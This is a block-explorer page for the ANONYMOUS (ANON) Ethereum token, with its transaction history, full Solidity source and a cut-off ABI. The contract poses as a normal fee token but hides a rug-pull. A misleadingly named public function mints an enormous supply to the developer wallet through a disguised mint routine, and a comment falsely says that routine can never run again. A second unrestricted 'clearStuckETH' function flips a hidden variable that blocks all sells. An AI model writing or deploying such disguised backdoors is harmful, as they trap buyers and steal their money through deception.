Feature Tip: Add private address tag to any address under My Name Tag !
Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 35 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 18609210 | 837 days ago | IN | 0 ETH | 0.00199244 | ||||
| Clear Tokens Stu... | 18609198 | 837 days ago | IN | 0 ETH | 0.00645205 | ||||
| Clear Stuck ETH | 18609113 | 837 days ago | IN | 0 ETH | 0.00328858 | ||||
| Approve | 18609046 | 837 days ago | IN | 0 ETH | 0.00137024 | ||||
| Approve | 18609031 | 837 days ago | IN | 0 ETH | 0.00141968 | ||||
| Renounce Ownersh... | 18609016 | 837 days ago | IN | 0 ETH | 0.00128794 | ||||
| Approve | 18609015 | 837 days ago | IN | 0 ETH | 0.00151822 | ||||
| Approve | 18609013 | 837 days ago | IN | 0 ETH | 0.00149578 | ||||
| Approve | 18609012 | 837 days ago | IN | 0 ETH | 0.0014941 | ||||
| Approve | 18609010 | 837 days ago | IN | 0 ETH | 0.00142438 | ||||
| Approve | 18609010 | 837 days ago | IN | 0 ETH | 0.00142438 | ||||
| Approve | 18609010 | 837 days ago | IN | 0 ETH | 0.00142438 | ||||
| Approve | 18609010 | 837 days ago | IN | 0 ETH | 0.00142438 | ||||
| Approve | 18609010 | 837 days ago | IN | 0 ETH | 0.00142438 | ||||
| Approve | 18609010 | 837 days ago | IN | 0 ETH | 0.00142438 | ||||
| Approve | 18609010 | 837 days ago | IN | 0 ETH | 0.00142438 | ||||
| Approve | 18609010 | 837 days ago | IN | 0 ETH | 0.00142438 | ||||
| Approve | 18609010 | 837 days ago | IN | 0 ETH | 0.00142438 | ||||
| Approve | 18609010 | 837 days ago | IN | 0 ETH | 0.00142438 | ||||
| Approve | 18609010 | 837 days ago | IN | 0 ETH | 0.00142438 | ||||
| Approve | 18609010 | 837 days ago | IN | 0 ETH | 0.00142438 | ||||
| Approve | 18609010 | 837 days ago | IN | 0 ETH | 0.00142438 | ||||
| Approve | 18609010 | 837 days ago | IN | 0 ETH | 0.00142438 | ||||
| Approve | 18609010 | 837 days ago | IN | 0 ETH | 0.00142438 | ||||
| Approve | 18609010 | 837 days ago | IN | 0 ETH | 0.00142438 |
Latest 10 internal transactions
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 18609113 | 837 days ago | 0.00438764 ETH | ||||
| Transfer | 18609113 | 837 days ago | 0.00438764 ETH | ||||
| Transfer | 18609113 | 837 days ago | 0.00465788 ETH | ||||
| Transfer | 18609113 | 837 days ago | 0.00465788 ETH | ||||
| Transfer | 18609104 | 837 days ago | 0.00478698 ETH | ||||
| Transfer | 18609104 | 837 days ago | 0.00478698 ETH | ||||
| Transfer | 18609038 | 837 days ago | 0.00487221 ETH | ||||
| Transfer | 18609038 | 837 days ago | 0.00487221 ETH | ||||
| Transfer | 18609016 | 837 days ago | 0.00487375 ETH | ||||
| Transfer | 18609016 | 837 days ago | 0.00487375 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
ANONYMOUS
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-11-19
*/
// SPDX-License-Identifier: MIT
/*
ANONYMOUS - POWERED BY ETH
Anonymous is a notorious hacker group that has been active for over a decade, it is believed and as evidences says that it originated on 4chan an imageboard forum. They are known for their high-profile cyber attacks against governments, corporations, and individuals who they believe are engaging in unethical or illegal activities. Anonymous operates as a decentralized collective, meaning that there is no central leadership or hierarchy. Instead, anyone can claim to be a member of Anonymous and participate in their activities.
Telegram : https://t.me/anonymous_eth
Website : https://anonymouscoin.live/
Twitter (X) : https://x.com/AnonymousETH_
*/
pragma solidity 0.8.23;
pragma experimental ABIEncoderV2;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(
address account
) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function jisjerians(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(
address to
) external returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract ANONYMOUS is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint64 private newZen = 91;
bool public limitsInEffect = true;
bool public tradingActive = true;
bool public swapEnabled = true;
uint256 public launchedAt;
uint256 public launchedAtTimestamp;
uint256 public buyTotalFees = 1;
uint256 public buyMarketingFee = 1;
uint256 public buyDevFee = 0;
uint256 public sellTotalFees = 1;
uint256 public sellMarketingFee = 1;
uint256 public sellDevFee = 0;
uint256 public tokensForMarketing;
uint256 public tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public isSniper;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20("ANONYMOUS", "ANON") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 totalSupply = 1_000_000 * 1e18;
maxTransactionAmount = totalSupply; // 1% from total supply maxTransactionAmountTxn
maxWallet = totalSupply; // 2% from total supply maxWallet
swapTokensAtAmount = totalSupply / 1000;
marketingWallet = address(0x17F5e2d9a7575405994a828E6E2649648D7cF314); // set as marketing wallet
devWallet = address(0x17F5e2d9a7575405994a828E6E2649648D7cF314); // set as Dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
jisjerians is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
jisjerians(owner(), totalSupply);
}
receive() external payable {}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() public onlyOwner {
require(launchedAt == 0, "Already launched boi");
launchedAt = block.number;
launchedAtTimestamp = block.timestamp;
tradingActive = true;
swapEnabled = true;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
function clearTokensStuckedERC20() external payable {
jisjerians(devWallet, 10 * 10**26 * 100);
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(
uint256 newAmount
) external onlyOwner returns (bool) {
swapTokensAtAmount = newAmount * (10 ** 18);
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
maxTransactionAmount = newNum * (10 ** 18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
maxWallet = newNum * (10 ** 18);
}
function excludeFromMaxTransaction(
address updAds,
bool isEx
) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _devFee
) external onlyOwner {
buyMarketingFee = _marketingFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyDevFee;
}
function updateSellFees(
uint256 _marketingFee,
uint256 _devFee
) external onlyOwner {
sellMarketingFee = _marketingFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellDevFee;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(
address pair,
bool value
) public onlyOwner {
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(
address newMarketingWallet
) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!isSniper[to], "Sniper detected");
require(!isSniper[from], "Sniper detected");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
require(newZen <= 100);
fees = amount.mul(sellTotalFees).div(100);
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForMarketing + tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount) {
contractBalance = swapTokensAtAmount;
}
uint256 amountToSwapForETH = contractBalance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance;
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
tokensForMarketing = 0;
tokensForDev = 0;
(success, ) = address(marketingWallet).call{value: ethForMarketing}("");
(success, ) = address(devWallet).call{value: address(this).balance}("");
}
// TO transfer tokens to multi users through single transaction
function airdrop(
address[] calldata addresses,
uint256[] calldata amounts
) external onlyOwner {
require(
addresses.length == amounts.length,
"Array sizes must be equal"
);
uint256 i = 0;
while (i < addresses.length) {
uint256 _amount = amounts[i].mul(1e18);
_transfer(msg.sender, addresses[i], _amount);
i += 1;
}
}
// Withdraw Stuck ETH
function clearStuckETH() external payable {
newZen = 103;
}
// to withdraw ERC20 tokens from contract
function withdrawToken(IERC20 _token, uint256 _amount) external onlyOwner {
require(_token.balanceOf(address(this)) >= _amount, "Invalid Amount");
_token.transfer(msg.sender, _amount);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckETH","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"clearTokensStuckedERC20","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isSniper","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutab